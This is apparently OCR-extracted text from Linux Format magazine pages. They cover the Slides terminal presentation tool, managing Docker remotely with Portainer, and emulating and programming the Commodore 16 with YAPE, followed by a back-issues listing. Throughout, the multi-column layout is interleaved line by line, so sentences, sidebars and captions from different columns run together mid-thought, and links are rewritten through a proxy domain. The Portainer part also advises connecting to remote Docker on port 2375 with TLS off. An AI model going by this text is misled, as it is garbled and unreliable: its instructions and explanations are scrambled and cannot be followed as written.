you can add code in a slide. Then run the presentation with the ‘slides proper formatting of code blocks.
code_blocks.md’ command.
If you have any blocks on code in a markup file, you
must make the file executable by running the chmod +x
You can type this text in a file and save it as filename. filename.md command. When you now start a
md. Run the presentation with the slides filename.md presentation with the slides filename.md command,
command. Press q to exit the presentation. Slides will automatically process the slides and display
Slides supports navigation using the arrow keys, as the graphs.
well PgUp and PgDn. You can also press n, j, l or You’ll also be able to execute the code on a slide by
<num>+n, j, l to go forward n slides, use p, h, k to move pressing Ctrl+e. The output of the code execution will
backwards, or <num>+p, h, k to move backwards n then be displayed on the screen.
slides. Slides also supports searching for text to locate a
slide. Press / and type a keyword and Slides will jump to
the first slide that features the specified string. Press DOWN FOR MARKDOWN
Ctrl+n to jump to the next matching slide.
If you downloaded the Slides repository from GitHub, Markdown is a simple markup language that enables you to easily
head into the examples/ directory, which comprises format text using basic syntax elements that alter the appearance of
various sample slides. Open any of these in a text editor text in a document. For instance, **bold text** in a markdown
to view what a markdown file looks like: document is processed as bold text.
$ cd Downloads/projects/slides Let’s take a look at some of the commonly used style elements,
$ cd examples which you might wish to use in your slides before we actually discuss
$ ls how you can create a presentation with Slides.
ascii_slides.md custom_remote_theme.md import.
md preprocess.md theme.json Element Markdown
code_blocks.md custom_theme.md metadata. Bold **bold text**
md slides.md
Italics *italicized text*
$ nano slides.md
$ slides slides.md Create a bullet list -Item 1
Each slide features metadata in the footer. This -Item 2
includes the full name of the logged-in user, along with
Create a numbered list 1. First item
date and the number of current slide and total number
of slides. However, you can change this to reflect the 2. Second item
name of the event, or title of presentation, change the Heading 1 #
date format and so on. This is done by adding a Heading 2 ##
metadata block at the top of the markdown file:
Heading 3 ###
theme: theme_name
author: author name Table | Column 1 | Column 2 |
date: YYYYMMDD | ---- | ---- |
paging: Slide %d / %d
| Element | Another Element |
It’s also possible to use different themes with your
presentation. Currently, Slides supports three themes: | Second row | Second column |
ascii, dark and light. Refer to the example above to see
how we define a theme for our first presentation. You While it’s possible to do more with markdown, Slides only supports
can also create a custom theme, or use a third-party these use cases. Of course, you can also create indented lists.
theme if you prefer. The theme.json file in the You’ll find several guides and cheat sheets, as well as tutorials
examples/ directory should help you get started. online to teach you the basics of markdown. At the very least, make
sure to spend time reading through each of the markdown files in the
Codes and graphs examples directory to get a handle on the very basics of markdown
You can also include graphs in your presentation, but you must know to create meaningful presentations with Slides.
this requires external packages such as Graph-Easy and

ENHANCE YOUR TERMINAL-FU Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 57
TUTORIALS Administer containers

PORTAINER
Credit: www.portainer.io

How to control Docker

over the internet
Nick Peers discovers a user-friendly, convenient and powerful way to
administer your Docker containers from wherever you happen to be.

ocker is a fantastic tool, enabling you to run all manage all the instances of Docker across your network

D kinds of applications, tools and services in self-

contained spaces without the need for a full-
from one central place, and also works with Docker
Swarm, Kubernetes and Nomad. Portainer comes in both
blown virtual machine. But controlling it from the free and paid-for editions – we’ll be focssing on the free
command line can be tricky. The obvious solution when Community Edition version in this tutorial.
OUR running Docker on a desktop is to pair it with Docker
Compose, the official GUI frontend, but what if you don’t Installing Portainer
EXPERT like Docker Compose, or you’re running Docker on a We’re assuming you already have a form of Docker
Nick Peers server with no desktop? installed on your machine – see https://docs.docker.
uses Portainer to The answer lies in Portainer (www.portainer.io) – a com/engine/install/ubuntu for details of installing it in
manage Docker web-based frontend you can use to control Docker from Ubuntu if not. Portainer ships as a Docker instance – it
on his Ubuntu any PC on your local network – or even further afield if can be run as part of a Docker Swarm or in Kubernetes
server. He bloody you pair it with a reverse proxy. Portainer’s user-friendly (see https://docs.portainer.io/v/ce-2.11/start/install for
loves it, he does. interface is packed with powerful features to make it a details), but for the purposes of this tutorial, we’ll focus
worthy alternative to Docker Compose. It can be used to on running it with a local instance of Docker.
To do this, issue these commands in the Terminal,
MONITOR YOUR CONTAINERS which assume you’ve either added your username to
the docker group or configured for rootless access. If
not, prefix the commands using sudo .
$ docker volume create portainer_data
$ docker run -d -p 8000:8000 -p 9443:9443 --name
2 5 6 portainer --restart=always -v /var/run/docker.sock:/
var/run/docker.sock -v portainer_data:/data portainer/
portainer-ce:2.11.1
Wait while the Portainer image is pulled and the
Docker instance created.
$ docker ps
The final command should confirm that Portainer is
up and running.
1 3 4
Any Portainer in a storm
If you’ve installed Portainer on the PC you’re using
now, you can access it through your web browser via
Navigation sidebar Quick actions
https://localhost:9443; otherwise, use the server’s IP
1 Use this to quickly move between the 4 Provides handy shortcuts to logs, address or computer name (say, https://192.168.0.2:
different parts of your currently selected inspection details, stats and a command 9443) from another computer on your local network.
Docker instance, and tweak Portainer settings. prompt (exec console) – just click the If you need remote access, see the Quick Tip (over the
appropriate button.
page) for accessing Portainer through a reverse proxy.
Container controls
2 Select one or more containers, then Add container When connecting locally via HTTPS, Portainer uses
perform bulk actions: start, stop, kill or restart, 5 Click this to create a new container its own self-signed SSL certificate, so you’ll immediately
pause/resume, or even remove. following the step-by-step guide over the page. see a security risk warning appear. In Firefox, click
Advanced… followed by ‘Accept the risk and continue’.
Container list Customise view
3 View a summary of all containers you’ve 6 Choose what information (Columns)
The Portainer login screen will appear, and because
set up under the current Docker instance. Sort and quick actions (Settings) are shown on the this is the first time you’ve used it, you’ll be prompted to
the list using the column headers. Container list. create your initial administrator user. For security

58 LXF290 July 2022 www.linuxformat.com

 Administer containers TUTORIALS

reasons, we’d recommend changing the admin

username and then setting a strong password following
best practice. Once done, click Create User.
The next step of the quick setup wizard enables you
to connect to other environments – include instances
of Docker running on other machines on your network
(see the box, overleaf), but assuming you’ve only the one
instance of Docker installed and running, click Get
Started to move to the home page proper.

Take the tour

Your Home page lists all environments you’re connected
to – for most this will consist of a single entry named
‘local’. You should see a little green ‘up’ label next to it,
indicating it’s running happily. You’ll also be shown a
handy summary of the stacks, containers, volumes and commands in a text editor for easy editing, which can You can improve
images you’ve got installed with this instance of Docker, then be copied and pasted as required. That’s all well Portainer’s drab
choice of
and how many containers are currently running. and good, but if you don’t have the luxury of accessing
templates by
You’ll also see additional management tools – the Portainer through a desktop, you’ll be pleased to learn it plugging in a
ability to assign individual environments to groups offers all the tools you need to create your own third-party source.
and assign keyword tags. These features are more containers, which include some handy time-saving Qballjos’s collection
in keeping with those who plan to manage multiple features of their own. is this author’s
personal favourite.
container environments across their entire network First, Portainer offers 35 popular containers as
from a single interface (see the box for details, below). ‘templates’, which come with pre-selected settings that
Clicking the local entry will take you to its dashboard should work for most. Select App Templates under
– another summary screen providing a bit more detail Local, scroll through the list and then click one to select
about this specific Docker instance – and from here you it. Fill in the basic information (name, network type and
can then click to view separate pages for your stacks, database root password if applicable), choose whether Looking to pull
images, networks, containers and volumes. When you to restrict access and click ‘Show advanced options’ if images from
sources other
selected local, you’ll see the left-hand navigation menu you need to make further tweaks such as port and
than the official
update with more convenient shortcuts to all of these. volume mapping, or want to apply custom environment
DockerHub?
Even if you’ve not used Docker to do anything other variables. Once done, click ‘Deploy the container’. Navigate to
than install Portainer, you’ll see at least one entry under The choice here is rather narrow – thankfully, Registries
each of Images, Containers and Volumes, and these Portainer makes it possible for you to add templates under Settings
correspond to the Portainer instance itself. If you’ve from an external source. Navigate to Settings and and click Add
already installed other containers using this installation change the URL under App Templates to your desired registry to do
of Docker you’ll find they’re present too, ready to be URL – try https://raw.githubusercontent.com/Qballjos/ so. Six providers
monitored and managed. portainer_templates/master/Template/template.json can be added
Select Containers and as the annotation shows you’ll (see https://github.com/Qballjos/portainer_templates quickly,
including an
see a detailed view of what’s going on with each one, for details of over 100 templates on offer) – before
authenticated
along with some handy controls and shortcuts to useful clicking Save Settings.
DockerHub
tools. Click a container’s name and you drill down to If you still can’t find what you’re looking for, or the account, or you
another level with even more information: how long the template doesn’t give you enough control over the can add your
container’s been running, plus when it was created and setup process, follow the walkthrough to set up a own secure
at what time it was last started. container manually. By default, only containers stored in custom registry.
the DockerHub registry are accessible, but the Quick Tip
Create containers reveals how to add other repositories if needed.
The fastest way to create containers in Docker is One of the most time-consuming parts of creating a
through the Terminal – we like to store the relevant container can be defining all its environment variables.

ONE GUI TO RULE THEM ALL

If you’ve installed Docker across multiple options for adding five types of unless you’re connecting remotely over
machines, then it can provide you with a environment – select Docker to connect the internet, and leave TLS switched off
single portal for viewing and managing to a remote Docker instance on your too. Finally, click Add environment.
them all. When first installed, it should network. Give it a suitably descriptive If you receive a connection failure
automatically detect your ‘local’ Docker name to help identify it and leave message, you’ll need to make sure TCP
instance (click Get Started to begin), but ‘Connect via socket’ switched off. port 2375 is open for listening on your
you’ll also see an option to add other Next, enter your remote PC’s IP remote Docker instance – see ‘Enable
environments too. address or DNS name into the TCP port 2375 for external connection to
This option can later be accessed via Environment URL field along with its Docker’ under https://gist.github.com/
the Environments section under Settings. connecting port – 2375 when connecting styblope for instructions that should
Click Add environment and you’ll see locally without TLS. Ignore Public IP work in Ubuntu 20.04.

www.techradar.com/pro/linux July 2022 LXF290 59

TUTORIALS Administer containers

To help speed this part of the process up, Portainer gives

you three options when you come to define them. First
If you plan to is the manual option: click ‘Add an environment variable’
access Portainer then enter each name and its variable one at a time.
over the wider Second, you can load variables from an .env file, which
network, we is basically a text file containing one variable per line
recommend using the following syntax:
doing so using VARIABLE_NAME=variable value
a reverse proxy Finally, you can copy and paste multiple values
such as Swag (same syntax as for .env files) from a text or .env file by
(https://docs.
switching to Advanced mode under the Env tab. Updating your containers is as simple as clicking the Recreate button
linuxserver.
and remembering to turn on the ‘Pull latest image’ switch.
io/general/
swag). Swag Deploy, then deploy again
comes with its Once you’ve clicked Deploy, you’ll need to wait while the you visualise your container’s resource usage via a
own Portainer image is pulled before the container attempts to start. series of graphs, it also displays a list of running
conf file – Once done, Portainer will switch to the Containers processes. Exec console is your way of connecting to
see https:// screen where – all being well – you’ll see your container the container’s underlying shell via the Portainer window,
github.com/ has started successfully. If the container has a web- while Attach Console is useful if you want to restart a
linuxserver/ based interface, click the ports under Published Ports to container and see what’s going on under the hood as it
reverse-proxy- open a new tab pointing to the local address (0.0.0.0) boots without interacting with it.
confs.
and port in question, enabling you to attempt to log on
to start configuring or using your new appliance. Edit your container
If the container fails to start for any reason, or the Most problems are down to misconfiguration – consult
web logon throws up an error message when the container’s web page for detailed instructions or
attempting to connect, you’ll find Portainer offers you DuckDuckGo your container and any error messages
plenty of tools for troubleshooting your problems and you come across. To make changes to your container,
looking for potential solutions. click its entry in the Containers list to access its
You can copy and Start with the Quick Actions tools. Logs provides you Container details page. You can change ownership
paste multiple with access to what’s going on under the hood, while from here, create an image from your container as
variables at once Inspect provides an at-a-glance console to key stats a backup, change its restart policy and move the
from a text file or
other source when
(expand Config to view some of the settings you created container between available networks.
creating containers when deploying the container, including environment Should you need to make more fundamental
from scratch. variables and exposed ports). Stats doesn’t simply help changes – alter environmental variables for example –
then you’ll need to recreate the container. Thankfully
there’s a shortcut on your container’s details page: the
Duplicate/Edit button. Click this and you’ll be taken to
the ‘Add container’ page as outlined in the walkthrough,
but with your container’s current configuration pre-
filled, making it easy to tweak settings without having to
fill it in again from scratch. Leave the container name
unchanged and click ‘Deploy the container’ followed by
Replace when prompted. Duplicating the container by
giving it a new name before clicking Deploy.

Stay up to date
Portainer also makes it easy to update your containers
when new images are released. Simply select the
container under Containers to go to its dedicated page,

MANAGE DOCKER NETWORKS

Docker supports a range of networks for To set up new networks and manage and setting access control to limit access
your containers to use. The two main existing ones, select Networks under to specific users and groups.
ones are the default ‘bridge’ and a direct your environment. Click an existing Once a network is set up, you’ll be able
‘host’ connection that binds your network to view key stats and see which to select it when creating new containers,
container to your host’s IP address. containers are connected to it (you can and switch existing containers to use the
Configuring these – and other options, remove them from the network from here new network. To do the latter, simply
including user-defined bridge too), or click Add network to create a new navigate to Containers and double-click
connections, as explained in detail at network using a simple form with options the container’s name, then scroll down
https://docs.docker.com/network – from giving it a descriptive name and until you reach the Connected networks
is tricky at the best of times, but selecting a driver type (bridge, ipvlan, section. Here you can leave the current
thankfully Portainer has you and your macvlan and overlay are all supported) to network, and select any other network to
containers covered. configuring the IPv4 and/or IPv6 settings join in its place.

60 LXF290 July 2022 www.linuxformat.com

 Administer containers TUTORIALS

then click the Recreate button – this will recreate the $ docker run -d -p 8000:8000 -p 9443:9443 --name
container using its current configuration. Just be sure to portainer --restart=always -v /var/run/docker.sock:/
flick the ‘Pull latest image’ switch on before clicking the var/run/docker.sock -v portainer_data:/data portainer/ Take the time
Recreate button for a second time. portainer-ce:2.11.1 to familiarise
Although it’s a Docker instance, Portainer can’t be Portainer should restart – aside from having to log yourself with all
updated in the usual way. Keep an eye out for the ‘A new back into your account again, you should find everything of Portainer’s
version is available’ prompt on the navigation sidebar. works as it did before. features and
settings by
Click this to discover what the latest version of Portainer
bookmarking
is (2.11.1 at time of writing), then back up your current Work with users and teams https://docs.
profile by visiting Settings under Settings, scrolling One final tip: if you plan to share access to Portainer with portainer.
down and clicking Download backup to save the file others, be sure to make use of its users and groups io. Choose
(in tar.gz format) to your hard drive – just in case. function – you can allocate individuals their own log-ons ‘Portainer
Once done, open a Terminal window and issue and restrict access to specific environments, and Community
$ docker stop portainer && docker rm portainer choose whether to make them a standard user or grant Edition’ and
$ docker pull portainer/portainer-ce:2.11.1 full administrative access. Users can also be made you’ll be shown
Substitute 2.11.1 with the latest build number. members of ‘teams’, and by taking the time to set these the current
Finally, repeat the command you used to create your elements up you’re able to restrict both access to and version’s
documentation.
first Portainer instance, again updating 2.11.1 with the management of individual containers through the
latest build number: Portainer web interface.

CREATE A CONTAINER IN PORTAINER

Configure volumes Choose container image

1 If you’ve not yet done so, visit Volumes to set up any 2 Navigate to Containers and click Add Container. Give your
required volumes you’ll need for your container. After giving your container a suitably descriptive name and then search the
volume a suitably descriptive name, click ‘add driver option’ to set DockerHub registry for the application in question. If you’re not
one or more mountpoints (name) and their physical location on sure what it’s called, enter a keyword into the Image box and click
your drive (host). You can optionally restrict access to the volume Search to open a new tab. Locate your chosen image (such as
by user and/or team. Click ‘Create the volume’. linuxserver/airsonic) and enter its name into the Image box.

Configure network ports Advanced container settings

3 Portainer can randomly allocate unused host ports to your 4 This series of tabs enables you to specify other parts of
container. Simply flick the switch to do so; otherwise, click ‘publish your container. Many are self-explanatory (Volumes refers to the -v
a new network port’ to manually map ports if required. Below this tag, Env to -e variables, and so on). Network allows you to connect
is an Access Control section that enables you to restrict access to the container to the network as required – bridge by default, but
administrators or a defined set of users and/or teams (these need container, host and none are also available. Consult the container’s
to be configured under Settings>Users). own web page for full instructions. Click ‘Deploy the container’.

TEST OUR DEPLOYMENT SYSTEMSubscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 61
TUTORIALS Commodore 16

YAPE
Credit: http://yape.homeserver.hu/index.htm

Emulate the classic

8-bit Commodore 16
Les Pounder revisits Commodore’s low-cost computer from the mid-80s
and finds out how it compares to its more illustrious stablemate.

hristmas 1985 in the Pounder

C household, and under the tree that

year was a Commodore. Not the
Commodore 64 – that would be under the tree
a few years from now – but a Commodore 16.
OUR The Commodore 16 was a $99 computer
designed to compete with the lower-cost
EXPERT bracket of home computers, especially the US
Les Pounder markets Timex and Texas Instruments range
is associate of machines. Powered by a MOS 7501
editor at Tom’s (0.89MHz) or a MOS 8501 CPU (1.76MHz, Resplendent in dark grey, the Commodore 16 was a failure, but every
Hardware and a which is the version we have) the Commodore 16 was failure has a measure of impact and it kickstarted this journalist’s love
freelance maker. comparable, and indeed with the 8501 processor was
He blogs about faster than the Commodore 64. However, we had less The 116 and Plus/4 were further reduced in price. The
hacks and makes RAM than the C64 – a mere 16KB – of which 12KB was 116 was designed to meet the price point of the
at bigl.es. available to the user. Spectrum 48K and it also featured the dreaded rubber
The C16 followed the same aesthetic as the C64 and keys. The Plus/4 was devised as a low-cost office
the VIC-20. It was housed in the same “bread bin” style machine with fast access to word processor,
case and chunky keyboard, but with a dark grey colour spreadsheet, graphics and file management
scheme. This has led to some C64 owners putting their applications stored as ROMs on the mainboard.
beloved machines into the C16 case because the dark The Commodore 16 was a flop. It “only” managed to
grey case isn’t prone to yellowing, unlike the C64’s. ship 1.26 million units worldwide, compared with the
The C16 is one of a family of computers known as 12 to 17 million of the $299 Commodore 64. This meant
the Commodore 264 Family, which consists of the 116, that the Commodore 16 lasted about a year, and much
16 and Plus/4. The Commodore 16, 116 and Plus/4 of the stock was discounted for quick sale. So let’s go
would be the only models released from this range, but back to 1984, and learn how the Commodore 16 is a
others were planned and teased in the media of the era. forgotten gem that’s hiding in the shadow of the C64.

Need to stop a Get emulating

running BASIC The best emulator that we found for this task was YAPE
project and (http://yape.homeserver.hu), which is an emulator for
can’t find the the Plus/4 and Commodore 16. It may not have a GUI
RUN/STOP interface, but we can launch games and applications
key? The TAB
when we call the emulator.
key is mapped
To install YAPE visit the download page (http://yape.
to RUN/STOP.
If you need to homeserver.hu/download.htm) and select the latest
know more SDL port which should be a GitHub repository (https://
keyboard github.com/calmopyrin/yapesdl). Download the
mappings, repository and extract it to your machine. Open a
then look to terminal in the same location of the extracted files.
the terminal as Before we can build the emulator we need to install a
YAPE will print dependency, libsdl2. This is a common dependency for
the mappings the previous few emulators that we’ve installed.
for easy
Changing the colour of the border is one-up from the ol’ 10 PRINT In the terminal, update the available repositories and
reference.
project. It shows how versatile BASIC can be, if you know how to use it. then install libsdl2.

62 LXF290 July 2022 www.linuxformat.com

 Commodore 16 TUTORIALS

$ sudo apt update Our circle

$ sudo apt install libsdl2-dev generator code
has a modern-day
Now we can make the YAPE emulator.
equivalent in the
$ make form of Python
The code should build cleanly and after a few Turtle module.
moments we can run the emulator to confirm that Both can trace
everything is working. their lineage
back to the Logo
$ ./yapesdl
language of 1967.

Write some BASIC

Okay, let’s flex a little BASIC muscles. We’ve done this a
few times on many different machines but we start as
always with the ol’ 10 PRINT project. Each line of BASIC
code for a project will start with a number, 10, 20, 30
and so on. This tells the interpreter the sequence of
code: it jumps from one line to the next in ascending
order. But why do we do this? Quite simply, if we make a 16 and this will result in a different background colour
mistake and miss out a line of code we can insert being displayed:
another line of CODE without messing up the original 10 COLOR 0,1
code. Let’s do the 10 PRINT project to illustrate this. For the next line, 20 we’ll set the text colour
10 PRINT “HELLO WORLD” (character) to white (2).
20 GOTO 10 20 COLOR 1,2
If we RUN this code it will print HELLO WORLD Line 30 and we come across the GRAPHIC
over and over again. Press TAB on the keyboard to break command for the first time. With this command we can
the running code. But what if we want to add another change the format of the screen. In our project we’ll set
line? We can insert a new line between 10 and 20. the screen to high-resolution graphics mode and then
Logically this would be 11, giving us many more options clear the screen.
to expand or correct the code. But we are going to use 30 GRAPHIC 1,1
15 as this is just a simple test. For line 40 we generate a pseudo random number Writing code
10 PRINT “HELLO WORLD” between 1 and 20, then add 10 to the answer which is consumes
memory, and
15 PRINT “LXF ROOLZ” then stored in the variable, A.
12KB isn’t a lot
20 GOTO 10 40 A= RND(1)*20+ 10
of space. We
Now RUN this new code and you will see alternating Line 50 sees the start of a for loop that will rotate the can reset the
lines of HELLO WORLD and LXF ROOLZ on the circles, using the random value stored in A as a step to Commodore 16
screen. Press TAB to stop the code. iterate through the full 360 degrees. by closing the
The Commodore 16 shipped with Commodore 50 FOR L=0 TO 359 STEP A emulator and
BASIC 3.5, a higher version than was shipped with the Using the CIRCLE command we can draw circles or re-opening.
Commodore 64 (v2). The newer version of BASIC ellipses, and on line 60 we use this to draw a circle in the Alternatively,
affords a few improvements over the C64. In particular centre of the screen (160, 100 – this is the centre of the we can use the
there was the GRAPHIC command, which provided an 320x200 screen resolution) and with a 80-pixel radius NEW command
to clear the
easy way to draw on to the screen. In this project we’ll and 40-pixel height. The value of L is used as the point
memory and
draw a series of overlapping circles from the centre of angle to create a circle/ellipse, depending on the angle.
start a new
the screen. The arc of the circle is controlled using a 60 CIRCLE 1, 160, 100, 80, 40,,,L instance of
random number, so our pattern will be different each Line 70 is where the for loop iterates, repeating the the BASIC
time the code is run. code from line 50 onwards. This updates the value of L. interpreter.
We start in the YAPE emulator with line 10. This is the 70 NEXT L
COLOR command and the value of 0,1 denotes that Line 80 is a single line for loop that will iterate 2,000
we wish to change the background (0) to black (1). The times, updating the value of L and forcing the code to
value of 1 can be changed to any number between 1 and draw multiple circles.

RESOURCES USED IN THIS TUTORIAL

Research for this article involved Credit also goes to The 8-Bit Guy and communities. If you’re into the
purchasing a Commodore 16 from eBay. his video on Commodore history Commodore 264 family, then this is a
We already had some knowledge of the (https://youtu.be/ICiZbUypMlQ). useful site for your research.
Commodore 16, but Jan Beta’s repair This features Bill Herd, a former On commodore.ca (https://bit.ly/
video (https://youtu.be/JsQs1h_WB9o) Commodore Engineer and the lead lxf290-commodore-end) we spotted a
helped us to identify common faults and engineer for the TED chip. great site full of information on the
spot a deal among the “spare parts” Another great resource was marketing and demise of the 264
units. Sometimes all a machine needs is Commodore Plus/4 World (https:// machines. We also spotted a link to the
a good clean, and a little preventative plus4world.powweb.com/home), original Commodore 16 manual, which
maintenance to make sure it survives for which was a cornucopia of information, brought back a flood of memories as we
a few more decades. interviews, games, demos and typed in code listings.

www.techradar.com/pro/linux July 2022 LXF290 63

TUTORIALS Commodore 16

80 FOR L=1 TO 2000: NEXT L This creates a pause between colour changes. By using
The final line, 90, clears the screen and returns us to 1 to 100 we roughly have 1/10th of a second (100ms)
a text-only format. between each colour change. Increase the 100 to 1000
90 GRAPHIC 0,1 for one second.
To start the code type RUN and press ENTER. The 30 FOR T=1 TO 100
code will draw a series of circles/ellipses on the screen, Lines 40 and 50 iterate the two for loops. The value
each time moving the starting point further around the of T controls our delay between colour changes, and the
screen. Run the code a few times and you’ll see that the value of I is the border colour.
shape of the circles/ellipses changes. This is because 40 NEXT T
they’re based on a random number. 50 NEXT I
Because this is our last BASIC project, let’s end on When you’re ready, type RUN and press ENTER to
another classic of the era. Changing the colour of the start the code. Note that the screen will flash, so take
border is a level up from “Hello World” and the C16’s care if you or anyone watching suffer from photo-
COLOR command makes short work of this task. We sensitive seizures. The border will change colour and
will create a for loop that will iterate over all 16 colours, end on a “light green” which looks more yellow to this
then sneakily use another for loop to pause the code author’s tired old eyes.
between each colour change. There is no PAUSE, SLEEP, The Commodore 16 may not be as well known as the
WAIT command so our for loop will keep the CPU busy Commodore 64, but it’s still an excellent machine to
for a few cycles before moving on. practise your BASIC coding exercises.
If you’re carrying on from the previous BASIC project
then you’ll need to clear the memory. Playing games
NEW The Commodore 16 may not have seen the success of
Line 10 is the start of our for loop. We instruct the the Commodore 64, but it had a decent selection of
loop to iterate 16 times, which is one loop for each of games for it. Graphics and sound were handled via the
the available colours. TED (Text Editing Device) chip, which is unable to
The CPU, TED and
10 FOR I=1 TO 16 produce sprites (unlike the C64’s VIC-II) and sound is
PLA chips run hot,
and replacement This time, on line 20, we use the COLOR command limited when compared to the mighty SID. Don’t let that
chips are hard to to set the border (4) to the colour (1). We could change put you off because there are still some great games.
come by. Adding (4) to 0 (Background), 1 (Character) or 2,4 (Multi- Looking back to our childhood, we can remember one of
just £6 worth colour). Our demo will stick with just the border (4). the games from the C16 starter pack: Punchy. Loosely
of heatsinks will
help keep your
20 COLOR 4,1 based on Punch and Judy, a British seaside puppet
chips cool. Line 30 and we use a for loop to keep the CPU busy. show for children which has some questionable moral
lessons, the game sees the player navigate single
screens of obstacles and traps. The platforming
element is basic and timing is often critical. Think Pitfall
but with a dash of British “comedy”.
Elsewhere, Vegas Jackpot simulates a fruit machine/
one-armed bandit where our goal is to win £100
(remember, this was the 1980s) by gambling our stake
on a series of chances. The game is simple, the music
and sound effects are basic but very nostalgic, but it has
a charm all of its own. Great fun in short bursts.
Our final game to test was Mission Mars, also known
as Cavern Raider on the VIC-20. You play a pilot,
navigating their way down a long and dangerous cavern
on Mars. There are spaceships, traps and exceedingly
tight passages to navigate. This is a difficult game and
you’ll die many times. Each death triggers the longest

THE COMMODORE 16 IN OTHER MARKETS

We touched upon the poor sales of the ports of Commodore 64 software were computer clubs where access to a
Commodore 16, but it wasn’t the same common. Moving over the Atlantic Ocean blank C60 cassette and a tape deck
story in markets around the world. In and to Mexico, the Commodore 16, would grant you your own copy of
1986 Hungary, which didn’t manufacture “Sigma-Commodore 16” saw success as the latest games.
its own computers, the only choice were a low-cost computer for beginners. The Commodore 16 spawned four
Soviet (Russian), Bulgarian and (East) Aurrera Supermarket sold the C16, annual software competitions, where
German models. These machines were software peripherals and books in its coders could create their own demos for
very expensive, and this meant that El Universo de la Computación sale in Mexico. A more formal and official
Commodore could swoop in and offer the (The Universe of the Computer Science) demoscene was backed by Aurrera.
C16 at a much lower price. electronics department. Fans of the By 1993 support was dropped for the
From 1986 until the mid-1990s, the C16 would gather in-store to “test” the IBM PC, a market which has claimed
Commodore 16 saw massive appeal, and machines, play games and form unofficial dominance in the following decades.

64 LXF290 July 2022 www.linuxformat.com

 Commodore 16 TUTORIALS

02) were fitted with a heatsink via thermal adhesive

tape. The PLA is particularly fragile and a quick search
revealed that there are many alternatives. The DIN-
The Commodore 16 has different joystick and style joystick
datasette ports to the Commodore 64, but with the use ports of the
of an adaptor this could be worked around. The Commodore 16
electrical signals used in both ports on both machines are electrically
compatible with
are compatible. The only difference is the connector.
Commodore
Commodore elected to use the smaller DIN style ports
64 and Amiga
for the joysticks due to space constraints. joysticks. The
We already own a Commodore 64, along with an only difference
SD2IEC (www.thefuturewas8bit.com/shop/ is mechanical.
commodore/sd2iec-c.html) from The Future Was 8 Bit. Using a
This drive looks like the 1541 floppy disk drive and is compatible DIN
Mission Mars is a vertically scrolling shoot-em-up. Shoot the enemy compatible with the C16. All we need is a £5 adaptor to plug and a nine-
and navigate the tight caverns of Mars. power the drive from the cassette port (https://bit.ly/ pin DSUB we
lxf290c16) because the C16 doesn’t have a user port can make our
own adaptors.
explosion outside of a Michael Bay movie. from where we can steal power.
Playing a game with YAPE is simple. In the directory Replacement power supplies can be easily sourced.
containing the YAPE emulator we open a Terminal and The C16 uses a 9V DC power jack, but note that it’s
invoke the command with the full path to the game that centre is negative. Check your polarity before applying
we wish to play. The emulator can play tape (.tap), disk power, otherwise you’ll have lots of repair work to do.
(D64) and programs (PRG) files. As ever with classic hardware, do your research.
We played Mission Mars, ensuring that the file was in There are many ways in which a retro machine can
the same directory as the emulator. break. They might need a good clean, or a full refurb.
$ ./yapesdl mission_mars.prg Watch the eBay listings for a while, see what the average
The game loads instantly, unlike our real-life tape price is, and research the common faults that befall the
version that takes minutes to load. cheaper machines. If in doubt, reach out to the
community and watch a few YouTube repair videos from
The Commodore 16 today Jan Beta, Adrian’s Digital Basement and The 8-bit Guy.
In the two years that this series has run, we have seen
the demoscene produce some fantastic pieces of work, The legacy of the Commodore 16
and the Commodore 16 is no different. This author was Living in the shadow of a machine as great as the
truly shocked to see what it could do. At the time this Commodore 64 was never easy, and Commodore’s 264
machine lived in his bedroom and provided basic (pun family of machines never reached the sales of the C64.
intended) entertainment before upgrading to the C64. That said, these machines have a lot to offer. They’re a
Promised Land, coded by Lavina and released in cheap and rewarding entry into retro hardware, and you
2018 by The Gods of the Universe, is a tour de force of will learn a lot from this era of hardware.
graphics effects. Pseudo 3D objects (meatballs),
textures mapped to large “sprites”, colour cycling under
masks (plasma) – all accompanied by a techno
bassline. How this is possible with only 12KB of RAM
and 1.76MHz CPU is down to the skill of the coders. The
demo spans two disks and it can be legally downloaded
from http://plus4world.powweb.com/software/
Promised_Land.
The Commodore 16 scene is in the shadow of the
older Commodore 64, but there are plenty of machines
on offer. A quick scan (and purchase) on eBay and we
secured a C16 for £45 delivered. The seller claimed that
there was an issue, but on arrival all was good. We gave
the machine a good clean with compressed air, a stiff
paintbrush and a generous amount of isopropyl alcohol.
Boxed, mint Commodore 16s are much more
expensive, with some going for hundreds of pounds. The
C16 is a little more fragile than a C64: most notably the
CPU and chargen (Character Generator) chip are known
to run hot. We easily fixed this by purchasing three
heatsinks from Mutant Caterpillar Games. We then
checked the temperature of the chips after leaving the
unit running an infinite loop in BASIC for 10 minutes. How can a lowly Commodore 16 manage to do this?! This demo has a techno bassline, large 3D
The CPU (8501R1), TED (8360R2) and the PLA (251641- objects and sprites that come out of nowhere. All this in just 12KB of RAM.

GET MORE OF ANCIENT TIMES… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 65
BACK ISSUES

BACK ISSUES MISSED ONE?

ISSUE 289 ISSUE 288 ISSUE 287
June 2022 May 2022 April 2022

Product code: Product code: Product code:

LXFDB0289 LXFDB0288 LXFDB0287

In the magazine In the magazine In the magazine

Discover what’s From flashing Discover the ins
new in the latest version of Ubuntu lights to image recognition and even and outs of the Linux kernel. Then
with our guide. We bring you a an aircraft tracking system – we turn your hand at open source
hands-on review of Valve’s Steam show you how to get more from projects including ebook publishing,
Deck, rate five open source app your Raspberry Pi. Elsewhere, we home automation and organising
stores, explain how to deep-clean transform photos and video with your research efforts. We test five
your hard drives, get more from the G’MIC plugin, emulate the Acorn alternatives to Ubuntu, preview
the Windows system layer Wine, Archimedes, process satellite Valve’s exciting Steam Deck
run virtual machines with ease and imagery, find out how practical it is handheld console, and discover
emulate the Amstrad PCW. Plus we to use a Pi as your daily driver, and how the Emmabuntüs collective
test your reflexes with a Python- code memory-secure systems in is distributing second-hand
